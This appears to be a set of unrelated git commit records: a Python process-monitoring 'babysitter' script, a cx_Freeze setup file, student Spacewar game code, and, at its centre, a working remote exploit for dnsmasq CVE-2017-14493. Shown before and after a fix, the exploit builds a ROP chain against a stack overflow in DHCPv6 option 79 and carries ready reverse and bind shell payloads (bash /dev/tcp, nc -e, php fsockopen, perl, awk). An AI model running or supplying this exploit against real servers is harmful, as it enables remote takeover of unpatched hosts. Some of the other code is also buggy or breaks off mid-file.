    # Wrap this in try... except so we can send any unexpected exceptions
    # to logging
    try:
        manager = Manager()
        manager.load_config("babysitter_config.xml")
        manager.run()
    except KeyboardInterrupt:
        _shutdown()
    except Exception:
        logger.exception("")
        _shutdown()
        raise

if __name__ == "__main__":
    main()<commit_msg>adding check for growing files<commit_after>#! /usr/bin/python

from __future__ import print_function, division
import time
import logging
import subprocess
import os
import smtplib
from email.mime.text import MIMEText
from abc import ABCMeta, abstractproperty
import xml.etree.ElementTree as ET # for XML parsing
import signal

# TODO: Send daily heartbeat. With graphs.

# TODO: send messages in HTML. Use RED for FAILs.  Use <ul> for lists.

"""
***********************************
********* DESCRIPTION *************

    Script for monitoring disk space, multiple files and multiple processes.
    If errors are found then an email is sent.
    Configuration is stored in a babysitter_config.xml file (see below)

***********************************
********* REQUIREMENTS ************

    ---------------------------------
    ADD A babysitter_config.xml FILE
    USING THE FOLLOWING FORMAT:

    Add as many <process> or <file>
    elements as you want to check.
    --------------------------------

        <config>

            <smtp_server></smtp_server>
            <email_from></email_from>
            <email_to></email_to>
            <username></username>
            <password></password>

            <disk_space_threshold>20</disk_space_threshold> <!-- MBytes -->

            <file>
                <location></location>
                <timeout>300</timeout> <!-- Seconds -->
            </file>

            <process>
                <name>iam_logger.py</name>
                <restart_command>nohup ./iam_logger.py</restart_command>
            </process>

            <process>
                <name>ntpd</name>
                <restart_command>sudo service ntp restart</restart_command>
            </process>

        </config>

    ----------------------------------
    SETUP SUDO FOR service restart ntp
    ----------------------------------

        This Python script needs to be able to run 'service restart ntp'
        without requiring a password.  Follow these steps:

        1. run 'sudo visudo'
        2. add the following line:
           'USER   ALL=NOPASSWD: /usr/sbin/service ntp *'
           (replace USER with your unix username!)

"""

class Checker:
    """Abstract base class (ABC) for classes which check on the state of
    a particular part of the system. """

    __metaclass__ = ABCMeta

    # Define some constants for tracking state
    FAIL = 0
    OK = 1

    def __init__(self, name):
        self.name = name
        self.last_state = self.state

    @abstractproperty
    def state(self):
        pass

    @property
    def state_as_str(self):
        return ['FAIL', 'OK'][self.state]

    @property
    def just_changed_state(self):
        state = self.state # cache to avoid this changing under us
        if state == self.last_state:
            return False
        elif state == Checker.FAIL:
            logger.warning('state change to FAIL: {}'.format(self))
        elif state == Checker.OK:
            logger.info('state change: {}'.format(self))

        self.last_state = state
        return True

    def __str__(self):
        return '{} = {}'.format(self.name.rpartition('/')[2], # remove path
                                self.state_as_str)

class Process(Checker):
    """Class for monitoring a unix process.

    Attributes:
        name (str): the process name as it appears in `ps -A`
        restart_command (str): the command used to restart this process

    """

    def __init__(self, name):
        """
        Args:
            name (str): the process name as it appears in `ps -A`
        """
        self.restart_command = None
        super(Process, self).__init__(name)

    @property
    def pid(self):
        pid_string = subprocess.check_output(['pidof', '-x', self.name])
        return pid_string.strip()

    def restart(self):
        if self.restart_command is None:
            logger.info("No restart string for {}".format(self.name))
            return

        if self.state == Checker.OK:
            return

        logger.info("Attempting to restart {}".format(self.name))
        try:
            subprocess.Popen(self.restart_command.split())
        except Exception:
            logger.exception("Failed to restart. {}".format(self))
        else:
            logger.info("Successfully restarted. {}".format(self) )

    @property
    def state(self):
        try:
            self.pid
        except subprocess.CalledProcessError:
            return Checker.FAIL
        else:
            return Checker.OK

class File(Checker):
    def __init__(self, name, timeout=120):
        """File constructor

        Args:
            name (str) : including full path
            timeout (int or str) : time in seconds after which this file is
                considered overdue.
        """
        self.timeout = int(timeout)
        super(File, self).__init__(name)

    @property
    def state(self):
        return self.seconds_since_modified < self.timeout

    @property
    def seconds_since_modified(self):
        return time.time() - self.last_modified

    @property
    def last_modified(self):
        return os.path.getmtime(self.name)

    def __str__(self):
        msg = super(File, self).__str__()
        msg += ", last modified {:.1f}s ago.".format(self.seconds_since_modified)
        return msg

class FileGrows(Checker):
    def __init__(self, name):
        """FileGrows constructor

        Args:
            name (str) : including full path
            timeout (int or str) : time in seconds after which this file is
                considered overdue.
        """
        super(File, self).__init__(name)
        self.last_size = self.size

    @property
    def state(self):
        if self.size != self.last_size:
            self.last_size = self.size
            return Checker.FAIL
        else:
            return Checker.OK

    @property
    def size(self):
        return os.path.getsize(self.name)

    def __str__(self):
        msg = super(File, self).__str__()
        msg += ", size {} bytes.".format(self.size)
        return msg

class DiskSpaceRemaining(Checker):

    def __init__(self, threshold):
        """
        Args:
            threshold (int or str): number of MBytes of free space below which
                state will change to FAIL.
        """
        self.threshold = int(threshold)
        super(DiskSpaceRemaining, self).__init__('disk space')

    @property
    def state(self):
        return self.available_space > self.threshold

    @property
    def available_space(self):
        """Returns available disk space in MBytes."""
        # From http://stackoverflow.com/a/787832/732596
        s = os.statvfs('/')
        return (s.f_bavail * s.f_frsize) / 1024**2

    def __str__(self):
        msg = super(DiskSpaceRemaining, self).__str__()
        msg += ", remaining={:.0f} MB.".format(self.available_space)
        return msg

class Manager(object):
    """Manages multiple Checker objects."""

    def __init__(self):
        self._checkers = []

    def append(self, checker):
        self._checkers.append(checker)
        logger.info('Added {} to Manager: {}'.format(checker.__class__.__name__,
                                                     self._checkers[-1]))

    def run(self):
        msg = "IAM logger babysitter running.\n{}".format(self)
        self.send_email(body=msg, subject="babysitter.py running")

        while True:
            msg = ""
            for checker in self._checkers:
                if checker.just_changed_state:
                    msg += "STATE CHANGED:\n"
                    msg += str(checker) + "\n"
                    if isinstance(checker, Process):
                        msg += "Attempting to restart...\n"
                        checker.restart()
                        time.sleep(5)
                        msg += str(checker) + "\n"

            if msg != "":
                msg += "CURRENT STATE OF ALL CHECKERS:\n" + str(self)
                self.send_email(body=msg, subject="iam_logger errors.")

            time.sleep(10)

    def load_config(self, config_file):
        config_tree = ET.parse(config_file)

        self.SMTP_SERVER = config_tree.findtext("smtp_server")
        self.EMAIL_FROM  = config_tree.findtext("email_from")
        self.EMAIL_TO    = config_tree.findtext("email_to")
        self.USERNAME    = config_tree.findtext("username")
        self.PASSWORD    = config_tree.findtext("password")

        logger.debug('\nSMTP_SERVER={}\nEMAIL_FROM={}\nEMAIL_TO={}'
                     .format(self.SMTP_SERVER, self.EMAIL_FROM, self.EMAIL_TO))

        # Disk space checker
        disk_space_threshold = config_tree.findtext("disk_space_threshold")
        if disk_space_threshold is not None:
            self.append(DiskSpaceRemaining(disk_space_threshold))

        # Load files
        files_etree = config_tree.findall("file")
        for f in files_etree:
            self.append(File(f.findtext('location'),
                             int(f.findtext('timeout'))))

        # Load processes
        processes_etree = config_tree.findall("process")
        for process in processes_etree:
            p = Process(process.findtext('name'))
            p.restart_command = process.findtext('restart_command')
            self.append(p)

        # Load file grows
        filegrows_etree = config_tree.findall("filegrows")
        for f in filegrows_etree:
            self.append(FileGrows(f.text))

    def send_email(self, body, subject):
        hostname = os.uname()[1]
        me = hostname + '<' + self.EMAIL_FROM + '>'
        body += '\nUnixtime = ' + str(time.time()) + '\n'
        msg = MIMEText(body)
        msg['Subject'] = subject
        msg['From'] =  me
        msg['To'] = self.EMAIL_TO

        logger.debug('sending message: \n{}'.format(msg.as_string()))

        retry = True
        while retry is True:
            try:
                logger.debug("SMPT_SSL")
                s = smtplib.SMTP_SSL(self.SMTP_SERVER)
                logger.debug("logging in")
                s.login(self.USERNAME, self.PASSWORD) # TODO take these from config!

                logger.debug("sendmail")
                s.sendmail(me, [self.EMAIL_TO], msg.as_string())
                logger.debug("quit")
                s.quit()
            except (smtplib.SMTPServerDisconnected, smtplib.SMTPConnectError):
                logger.exception("")
                time.sleep(2)
            except smtplib.SMTPAuthenticationError:
                error_msg = "SMTP authentication error. Please check username and password in config file."
                print(error_msg)
                logger.exception(error_msg)
                raise
            else:
                logger.info("Successfully sent message")
                retry = False

    def __str__(self):
        msg = ""
        for checker in self._checkers:
            msg += '{}\n'.format(checker)
        return msg

def _init_logger():
    global logger

    # create logger
    logger = logging.getLogger(__name__)
    logger.setLevel(logging.DEBUG)

    # create console handler for stderr
    ch_stderr = logging.StreamHandler()
    ch_stderr.setLevel(logging.INFO)
    stderr_formatter = logging.Formatter('%(asctime)s %(levelname)s: '
                        '%(message)s', datefmt='%d/%m/%y %H:%M:%S')
    ch_stderr.setFormatter(stderr_formatter)
    logger.addHandler(ch_stderr)

    # create file handler for babysitter.log
    fh = logging.FileHandler('babysitter.log')
    fh.setLevel(logging.DEBUG)
    fh_formatter = logging.Formatter('%(asctime)s level=%(levelname)s: '
                        'function=%(funcName)s, thread=%(threadName)s'
                        '\n   %(message)s')
    fh.setFormatter(fh_formatter)
    logger.addHandler(fh)

def _shutdown():
    logger.info("Shutting down.")
    logging.shutdown()

def _signal_handler(signal_number, frame):
    raise KeyboardInterrupt()

def main():

    _init_logger()
    logger.debug('MAIN: babysitter.py starting up. Unixtime = {:.0f}'
                  .format(time.time()))

    # register SIGINT and SIGTERM handler
    logger.info("MAIN: setting signal handlers")
    signal.signal(signal.SIGINT,  _signal_handler)
    signal.signal(signal.SIGTERM, _signal_handler)

    # Wrap this in try... except so we can send any unexpected exceptions
    # to logging
    try:
        manager = Manager()
        manager.load_config("babysitter_config.xml")
        manager.run()
    except KeyboardInterrupt:
        _shutdown()
    except Exception:
        logger.exception("")
        _shutdown()
        raise

if __name__ == "__main__":
    main()<|endoftext|>


<commit_before>#!/usr/bin/env python

from base import Base
from argparse import ArgumentParser
from socket import socket, AF_INET6, SOCK_DGRAM, IPPROTO_UDP, SOL_SOCKET, SO_SNDBUF
from sys import exit

# NOP
NOPx86 = 0x90909090
NOPx64 = 0x9090909090909090

# ROP gadgets
# dnsmasq/2.77
POP_EAX_277x86 = 0x08081617        # pop eax; ret
POP_EBX_EBP_277x86 = 0x0804a392    # pop ebx; pop ebp; ret
MOV_EAX_EBX_277x86 = 0x080672c3    # mov [eax+0x1],ebx; add cl,cl; ret
EXECL_277x86 = 0x08070758          # execl

# Segment .data
# dnsmasq/2.77
DATA_277x86 = 0x0808c054

# Payloads
# Bind payloads
bind_port = str(4444)
bind_awk = "awk 'BEGIN{s=\"/inet/tcp/" + bind_port + \
           "/0/0\";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'"
bind_perl = "perl -MIO -e '$p=fork();exit,if$p;foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}" + \
            "$c=new IO::Socket::INET(LocalPort," + bind_port + \
            ",Reuse,1,Listen)->accept;$~->fdopen($c,w);STDIN->fdopen($c,r);while(<>){if($_=~ /(.*)/){system $1;}};'"
bind_nc = "mkfifo /tmp/hdeeiha; (nc -l -p " + bind_port + " ||nc -l " + bind_port + \
          ")0</tmp/hdeeiha | /bin/sh >/tmp/hdeeiha 2>&1; rm /tmp/hdeeiha"

# Reverse payloads
reverse_port = str(4444)
reverse_host = "127.0.0.1"
reverse_awk = "awk 'BEGIN{s=\"/inet/tcp/0/" + reverse_host + "/" + reverse_port + \
              "\";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'"
reverse_nc = "mkfifo /tmp/kztyan; nc " + reverse_host + " " + reverse_port + \
             " 0</tmp/kztyan | /bin/sh >/tmp/kztyan 2>&1; rm /tmp/kztyan"
reverse_perl = "perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;" + \
               "}}$c=new IO::Socket::INET(PeerAddr,\"" + reverse_host + ":" + reverse_port + \
               "\");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'"

Base = Base()
Base.print_banner()

parser = ArgumentParser(description='Exploit for dnsmasq CVE-2017-14493 (Stack Based overflow)')

parser.add_argument('-t', '--target', type=str, help='Set target IPv6 address', required=True)
parser.add_argument('-p', '--target_port', type=int, help='Set target port, default=547', default=547)
parser.add_argument('-c', '--capacity', help='Set capacity (x86 or x86_64), default=x86', default='x86')
parser.add_argument('-v', '--version', help='Set dnsmasq version (2.75, 2.76, 2.77), default=2.77', default='2.77')

parser.add_argument('--interpreter', type=str, help='Set path to interpreter on target, ' +
                                                    'default="/bin/sh"', default='/bin/sh')
parser.add_argument('--interpreter_arg', type=str, help='Set interpreter argument, default="-c"', default='-c')

parser.add_argument('--payload', help='Set payload (bind_awk, bind_perl, bind_nc, reverse_awk, reverse_perl, ' +
                                      'reverse_nc), default=bind_awk', default='bind_awk')
parser.add_argument('--command', type=str, help='Set command for executing on target')

parser.add_argument('--bind_port', type=int, help='Set bind port, default=4444', default=4444)
parser.add_argument('--reverse_port', type=int, help='Set reverse port, default=4444', default=4444)
parser.add_argument('--reverse_host', type=str, help='Set reverse host')

args = parser.parse_args()

host = str(args.target)
port = int(args.target_port)

capacity = ""
if args.capacity == "x86" or args.capacity == "x86_64":
    capacity = args.capacity
else:
    print Base.c_error + "Bad capacity: " + args.capacity + " allow only x86 or x86_64!"
    exit(1)

dnsmasq_version = ""
if args.version == "2.75" or args.version == "2.76" or args.version == "2.77":
    dnsmasq_version = args.version
else:
    print Base.c_error + "Bad dnsmasq version: " + args.version + " allow only 2.75, 2.76 or 2.77!"
    exit(1)

interpreter = str(args.interpreter)
interpreter_arg = str(args.interpreter_arg)

payload = ""
bind_port = str(args.bind_port)
reverse_port = str(args.reverse_port)
if args.reverse_host is not None:
    reverse_host = args.reverse_host

if args.command is not None:
    payload = args.command
else:
    if args.payload == "bind_awk": payload = bind_awk
    elif args.payload == "bind_perl": payload = bind_perl
    elif args.payload == "bind_nc": payload = bind_nc
    elif args.payload == "reverse_awk": payload = reverse_awk
    elif args.payload == "reverse_perl": payload = reverse_perl
    elif args.payload == "reverse_nc": payload = reverse_nc
    else:
        print Base.c_error + "Bad payload: " + args.version + " allow only bind_awk, bind_perl, bind_nc, " + \
              "reverse_awk, reverse_perl, reverse_nc!"
        exit(1)

def send_packet(data, host, port):
    print Base.c_info + "Sending " + str(len(data)) + " bytes to " + str(host) + ":" + str(port)
    sock = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP)

    sock.setsockopt(SOL_SOCKET, SO_SNDBUF, len(data))
    if sock.sendto(data, (host, port)) != len(data):
        print Base.c_error + "Could not send (full) payload"
    sock.close()

def gen_option(option, data, length=None):
    if length is None:
        length = len(data)

    return b"".join([
        Base.pack16(option),
        Base.pack16(length),
        data])

def add_string_in_data(addr_in_data, string):
    rop_chain = ""

    if capacity == "x86":
        if len(string) % 4 == 0:
            string = string + "\x00" * 4
        else:
            string = string + "\x00" * (4 - (len(string) % 4))

    if dnsmasq_version == "2.77":
        if capacity == "x86":
            for x in range(0, len(string), 4):
                rop_chain += Base.pack32(POP_EAX_277x86)        # pop eax; ret
                rop_chain += Base.pack32(addr_in_data - 1 + x)  # address in .data - 1
                rop_chain += Base.pack32(POP_EBX_EBP_277x86)    # pop ebx; pop ebp; ret
                rop_chain += string[x:x + 4]                    # 4 byte of string
                rop_chain += Base.pack32(NOPx86)                # NOP (0x90)
                rop_chain += Base.pack32(MOV_EAX_EBX_277x86)    # mov [eax+0x1],ebx; add cl,cl; ret

    return rop_chain

if __name__ == '__main__':
    option_79 = ""
    if capacity == "x86" and dnsmasq_version == "2.77":
        interpreter_addr = DATA_277x86
        interpreter_arg_addr = DATA_277x86 + len(interpreter) + (4 - (len(interpreter) % 4)) + 1
        payload_addr = interpreter_arg_addr + len(interpreter_arg) + (4 - (len(interpreter_arg) % 4)) + 1

        option_79 += Base.pack16(0)  # mac_type
        option_79 += "0" * 36        # JUNK

        option_79 += Base.pack32(NOPx86)      # EBX
        option_79 += Base.pack32(NOPx86)      # ESI = ""
        option_79 += Base.pack32(NOPx86)      # EDI = ""
        option_79 += Base.pack32(0x08080DDE)  # EBP ; ret (JUNK)

        option_79 += add_string_in_data(interpreter_addr, interpreter)  # Address: 0x0808c054
        option_79 += add_string_in_data(interpreter_arg_addr, interpreter_arg)
        option_79 += add_string_in_data(payload_addr, payload)

        option_79 += Base.pack32(EXECL_277x86)          # execl
        option_79 += Base.pack32(interpreter_addr)      # "/bin/sh"
        option_79 += Base.pack32(interpreter_addr)      # "/bin/sh"
        option_79 += Base.pack32(interpreter_arg_addr)  # "-c"
        option_79 += Base.pack32(payload_addr)          # payload
    else:
        print Base.c_error + "This dnsmasq version: " + dnsmasq_version + " and capacity: " + capacity + \
              " not yet supported!"
        exit(1)

    pkg = b"".join([
        Base.pack8(12),       # DHCP6RELAYFORW
        Base.pack16(0x0313),  #
        Base.pack8(0x37),     # transaction ID
        b"_" * (34 - 4),      #
        # Option 79 = OPTION6_CLIENT_MAC
        # Moves argument into char[DHCP_CHADDR_MAX], DHCP_CHADDR_MAX = 16
        gen_option(79, option_79),
    ])

    send_packet(pkg, host, int(port))
<commit_msg>Fix Exploit for dnsmasq CVE-2017-14493 (Stack Based overflow)<commit_after>#!/usr/bin/env python

from base import Base
from argparse import ArgumentParser
from socket import socket, AF_INET6, SOCK_DGRAM, IPPROTO_UDP, SOL_SOCKET, SO_SNDBUF
from sys import exit

# NOP
NOPx86 = 0x90909090
NOPx64 = 0x9090909090909090

# ROP gadgets
# dnsmasq/2.77
POP_EAX_277x86 = 0x08081617        # pop eax; ret
POP_EBX_EBP_277x86 = 0x0804a392    # pop ebx; pop ebp; ret
MOV_EAX_EBX_277x86 = 0x080672c3    # mov [eax+0x1],ebx; add cl,cl; ret
EXECL_277x86 = 0x08070758          # execl

# Segment .data
# dnsmasq/2.77
DATA_277x86 = 0x0808c054

# Payloads
# Bind payloads
bind_port = str(4444)
bind_awk = "awk 'BEGIN{s=\"/inet/tcp/" + bind_port + \
           "/0/0\";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'"

# Reverse payloads
reverse_port = str(4444)
reverse_host = "127.0.0.1"
reverse_awk = "awk 'BEGIN{s=\"/inet/tcp/0/" + reverse_host + "/" + reverse_port + \
              "\";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'"
reverse_bash = "bash -i >& /dev/tcp/" + reverse_host + "/" + reverse_port + " 0>&1"
reverse_php = "php -r '$sock=fsockopen(\""+reverse_host+"\","+reverse_port+");exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
reverse_nc = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc " + reverse_host + " " + reverse_port + " >/tmp/f"
reverse_nce = "nc -e /bin/sh " + reverse_host + " " + reverse_port

Base = Base()
Base.print_banner()

parser = ArgumentParser(description='Exploit for dnsmasq CVE-2017-14493 (Stack Based overflow)')

parser.add_argument('-t', '--target', type=str, help='Set target IPv6 address', required=True)
parser.add_argument('-p', '--target_port', type=int, help='Set target port, default=547', default=547)
parser.add_argument('-c', '--capacity', help='Set capacity (x86 or x86_64), default=x86', default='x86')
parser.add_argument('-v', '--version', help='Set dnsmasq version (2.75, 2.76, 2.77), default=2.77', default='2.77')

parser.add_argument('--interpreter', type=str, help='Set path to interpreter on target, ' +
                                                    'default="/bin/bash"', default='/bin/bash')
parser.add_argument('--interpreter_arg', type=str, help='Set interpreter argument, default="-c"', default='-c')

parser.add_argument('--payload', help='Set payload (bind_awk, reverse_awk, reverse_bash, reverse_php, reverse_nc, ' +
                                      'reverse_nce), default=reverse_nc', default='reverse_nc')
parser.add_argument('--command', type=str, help='Set command for executing on target')

parser.add_argument('--bind_port', type=int, help='Set bind port, default=4444', default=4444)
parser.add_argument('--reverse_port', type=int, help='Set reverse port, default=4444', default=4444)
parser.add_argument('--reverse_host', type=str, help='Set reverse host, default="127.0.0.1"', default="127.0.0.1")

args = parser.parse_args()

host = str(args.target)
port = int(args.target_port)

capacity = ""
if args.capacity == "x86" or args.capacity == "x86_64":
    capacity = args.capacity
else:
    print Base.c_error + "Bad capacity: " + args.capacity + " allow only x86 or x86_64!"
    exit(1)

dnsmasq_version = ""
if args.version == "2.75" or args.version == "2.76" or args.version == "2.77":
    dnsmasq_version = args.version
else:
    print Base.c_error + "Bad dnsmasq version: " + args.version + " allow only 2.75, 2.76 or 2.77!"
    exit(1)

interpreter = str(args.interpreter)
interpreter_arg = str(args.interpreter_arg)

payload = ""
bind_port = str(args.bind_port)
reverse_port = str(args.reverse_port)
if args.reverse_host is not None:
    reverse_host = args.reverse_host

if args.command is not None:
    payload = args.command
else:
    if args.payload == "bind_awk": payload = bind_awk
    elif args.payload == "reverse_awk": payload = reverse_awk
    elif args.payload == "reverse_bash": payload = reverse_bash
    elif args.payload == "reverse_php": payload = reverse_php
    elif args.payload == "reverse_nc": payload = reverse_nc
    elif args.payload == "reverse_nce": payload = reverse_nce
    else:
        print Base.c_error + "Bad payload: " + args.version + " allow only bind_awk, reverse_awk, reverse_bash, " + \
              "reverse_php, reverse_nc, reverse_nce!"
        exit(1)

def send_packet(data, host, port):
    print Base.c_info + "Sending " + str(len(data)) + " bytes to " + str(host) + ":" + str(port)
    sock = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP)

    sock.setsockopt(SOL_SOCKET, SO_SNDBUF, len(data))
    if sock.sendto(data, (host, port)) != len(data):
        print Base.c_error + "Could not send (full) payload"
    sock.close()

def gen_option(option, data, length=None):
    if length is None:
        length = len(data)

    return b"".join([
        Base.pack16(option),
        Base.pack16(length),
        data])

def add_string_in_data(addr_in_data, string):
    rop_chain = ""

    if capacity == "x86":
        if len(string) % 4 == 0:
            string = string + "\x00" * 4
        else:
            string = string + "\x00" * (4 - (len(string) % 4))

    if dnsmasq_version == "2.77":
        if capacity == "x86":
            for x in range(0, len(string), 4):
                rop_chain += Base.pack32(POP_EAX_277x86)        # pop eax; ret
                rop_chain += Base.pack32(addr_in_data - 1 + x)  # address in .data - 1
                rop_chain += Base.pack32(POP_EBX_EBP_277x86)    # pop ebx; pop ebp; ret
                rop_chain += string[x:x + 4]                    # 4 byte of string
                rop_chain += Base.pack32(DATA_277x86 + 28)      # 0x0808c054 + 28
                rop_chain += Base.pack32(MOV_EAX_EBX_277x86)    # mov [eax+0x1],ebx; add cl,cl; ret

    return rop_chain

if __name__ == '__main__':
    option_79 = ""
    if capacity == "x86" and dnsmasq_version == "2.77":
        interpreter_addr = DATA_277x86
        interpreter_arg_addr = DATA_277x86 + len(interpreter) + (4 - (len(interpreter) % 4)) + 1
        payload_addr = interpreter_arg_addr + len(interpreter_arg) + (4 - (len(interpreter_arg) % 4)) + 1

        option_79 += Base.pack16(0)  # mac_type
        option_79 += "0" * 36        # JUNK

        option_79 += Base.pack32(NOPx86)      # EBX
        option_79 += Base.pack32(NOPx86)      # ESI = ""
        option_79 += Base.pack32(NOPx86)      # EDI = ""
        option_79 += Base.pack32(0x08080DDE)  # EBP ; ret (JUNK)

        option_79 += add_string_in_data(interpreter_addr, interpreter)  # Address: 0x0808c054
        option_79 += add_string_in_data(interpreter_arg_addr, interpreter_arg)
        option_79 += add_string_in_data(payload_addr, payload)

        option_79 += Base.pack32(EXECL_277x86)          # execl
        option_79 += Base.pack32(interpreter_addr)      # "/bin/bash"
        option_79 += Base.pack32(interpreter_addr)      # "/bin/bash"
        option_79 += Base.pack32(interpreter_arg_addr)  # "-c"
        option_79 += Base.pack32(payload_addr)          # payload
    else:
        print Base.c_error + "This dnsmasq version: " + dnsmasq_version + " or capacity: " + capacity + \
              " not yet supported!"
        exit(1)

    pkg = b"".join([
        Base.pack8(12),       # DHCP6RELAYFORW
        Base.pack16(0x0313),  #
        Base.pack8(0x37),     # transaction ID
        b"_" * (34 - 4),      #
        # Option 79 = OPTION6_CLIENT_MAC
        # Moves argument into char[DHCP_CHADDR_MAX], DHCP_CHADDR_MAX = 16
        gen_option(79, option_79),
    ])

    send_packet(pkg, host, int(port))
<|endoftext|>


<commit_before>import sys
from cx_Freeze import setup, Executable

# run like this:
#
# Linux:
# sudo python setup.py build
#
# Windows: (with right Python version inside the path)
# C:\Python34\python setup.py build
#
build_exe_options = {"packages": ["os", "core", "lib"] }

# NB: change executable to have the right path for you!
executablePath = "C:\\Root\\Projects\\Base64\\source\\base64-pics.py"

setup(
	name = "Base64Pics",
	version = "1.0",
	description = "Pictures to base64 encoded bulk converter. Converts pictures into css properties containing the Base64 encoded string.",
	options = {"build_exe": build_exe_options},
	executables = [Executable(executablePath)]
)
<commit_msg>Improves setup.py<commit_after>import os
import sys
from cx_Freeze import setup, Executable

# run like this:
#
# Linux:
# sudo python setup.py build
#
# Windows: (with right Python version inside the path)
# C:\Python34\python setup.py build
#
build_exe_options = {"packages": ["os", "core", "lib"] }

# NB: if needed, change the path
executablePath = os.path.join(os.getcwd(), "base64-pics.py")

setup(
	name = "Base64Pics",
	version = "1.0",
	description = "Pictures to base64 encoded bulk converter. Converts pictures into css properties containing the Base64 encoded string.",
	options = {"build_exe": build_exe_options},
	executables = [Executable(executablePath)]
)
<|endoftext|>


<commit_before>"""
spaceshooter.py
Author: Sam Supattapone
Credit: original code

Assignment: Space Shooter
Write and submit a program that implements the spacewar game:
https://github.com/HHS-IntroProgramming/Spacewar
"""
from ggame import App, Sprite, ImageAsset, Frame
from ggame import SoundAsset, Sound, TextAsset, Color
import math
from time import time

asset1 = ImageAsset("images/starfield.jpg")
width = 512
height = 512

stars = Sprite(asset1)
stars1 = Sprite(asset1)
stars1.x = 512
stars1.y = 0
stars2 = Sprite(asset1)
stars2.x = 1024
stars2.y = 0
stars3 = Sprite(asset1)
stars3.x = 0
stars3.y = 512
stars4 = Sprite(asset1)
stars4.x = 512
stars4.y = 512
stars5 = Sprite(asset1)
stars5.x = 1024
stars5.y = 512

app = App()
app.run()
<commit_msg>Updated from Brython Server: 11/23/2015 2:57:00 PM<commit_after>"""
spaceshooter.py
Author: Sam Supattapone
Credit: original code

Assignment: Space Shooter
Write and submit a program that implements the spacewar game:
https://github.com/HHS-IntroProgramming/Spacewar
"""
from ggame import App, Sprite, ImageAsset, Frame
from ggame import SoundAsset, Sound, TextAsset, Color
import math
from time import time

asset1 = ImageAsset("images/starfield.jpg")
width = 512
height = 512

stars = Sprite(asset1)
stars1 = Sprite(asset1)
stars1.x = 512
stars1.y = 0
stars2 = Sprite(asset1)
stars2.x = 1024
stars2.y = 0
stars3 = Sprite(asset1)
stars3.x = 0
stars3.y = 512
stars4 = Sprite(asset1)
stars4.x = 512
stars4.y = 512
stars5 = Sprite(asset1)
stars5.x = 1024
stars5.y = 512

asset2 = ImageAsset("images/sun.png")
width = 80
height = 80

sun = Sprite(asset2)
sun.xcenter
sun.ycenter

app = App()
app.run()
<|endoftext|>


<commit_before>"""
spaceshooter.py
Author: Daniel Wilson
Credit: Ethan Adner, Mr. D

Assignment:
Write and submit a program that implements the spacewar game:
https://github.com/HHS-IntroProgramming/Spacewar
"""
from ggame import App, RectangleAsset, ImageAsset, Sprite, LineStyle, Color, Frame
from ggame import SoundAsset, Sound, TextAsset, Color
import math
SCREEN_WIDTH = 1250
SCREEN_HEIGHT = 700

class SpaceShip(Sprite):
    """
    Animated space ship
    """
    asset = ImageAsset("images/four_spaceship_by_albertov_with_thrust.png",
        Frame(227,0,292-227,125), 4, 'vertical')

    def __init__(self, position):
        super().__init__(SpaceShip.asset, position)
        self.vx = 0
        self.vy = 0
        self.vr = 0.0
        self.thrust = 0
        self.thrustframe = 1
        #self. circularCollisionModule()
        #self.imagex = 0
        SpaceGame.listenKeyEvent("keydown", "w", self.thrustOn)
        SpaceGame.listenKeyEvent("keyup", "w", self.thrustOff)
        SpaceGame.listenKeyEvent("keydown", "s", self.UPON)
        #SpaceGame.listenKeyEvent("keyup", "s", self.stop)
        SpaceGame.listenKeyEvent("keydown", "a", self.Right)
        SpaceGame.listenKeyEvent("keyup", "a", self.stop)
        SpaceGame.listenKeyEvent("keydown", "d", self.Left)
        SpaceGame.listenKeyEvent("keyup", "d", self.stop)
        self.fxcenter = self.fycenter = 0.5

    def step(self):
        self.x += self.vx
        self.y += self.vy
        self.rotation += self.vr
        self.explode(self.x, self.y)
        if self.thrust == 1:
            self.setImage(self.thrustframe)
            self.thrustframe += 1
            self.vx += 0.03*math.cos(self.rotation+1/2*math.pi)
            self.vy += 0.03*math.sin(self.rotation-1/2*math.pi)
            if self.thrustframe == 4:
                self.thrustframe = 1
            else:
                self.setImage(0)
        col=self.collidingWithSprites(Sun)
        if col:
            print("boom")
            self.explode(self)

    def thrustOn(self, event):
        self.thrust = 1

    def thrustOff(self, event):
        self.thrust = 0

    def UPON(self, event):
        self.vy=1
    def DOWNON(self, event):
        self.vy=-1
    def Right(self, event):
        self.vr = .1
    def Left(self, event):
        self.vr = -.1
    def stop(self, event):
        self.vr=0

    def explode(self):
        self.visible = False
        self.vx=0
        self.vy=0
        ExplosionSmall(self.position)

class ExplosionSmall(Sprite):

    asset = ImageAsset("images/explosion1.png", Frame(0,0,128,128), 10)
    boomasset = SoundAsset("sounds/explosion1.mp3")

    def __init__(self, position):
        super().__init__(ExplosionSmall.asset, position)
        self.image = 0
        self.center = (0.5, 0.5)
        self.boom = Sound(ExplosionSmall.boomasset)
        self.boom.play()

    def step(self):
        self.setImage(self.image//2)  # slow it down
        self.image = self.image + 1
        if self.image == 20:
            self.destroy()

class SpaceGame(App):
    """
    Tutorial4 space game example.
    """
    def __init__(self, width, height):
        super().__init__(width, height)
        black = Color(0, 1)
        noline = LineStyle(0, black)
        bg_asset = ImageAsset("images/starfield.jpg")
        bg1 = Sprite(bg_asset, (0,0))
        bg2 = Sprite(bg_asset, (512,0))
        bg3 = Sprite(bg_asset, (0, 512))
        bg4 = Sprite(bg_asset, (512, 512))
        bg5 = Sprite(bg_asset, (1024, 512))
        bg6 = Sprite(bg_asset, (1024, 0))
        SpaceShip((100,100))
        Sun((500,300))

    def step(self):
        for ship in self.getSpritesbyClass(SpaceShip):
            ship.step()
        explosions=self.getSpritesbyClass(ExplosionSmall)
        for explosion in expolsions:
            explosion.step

def registerKeys(self, keys):
        commands = ["left", "right", "forward", "fire"]
        self.keymap = dict(zip(keys, commands))
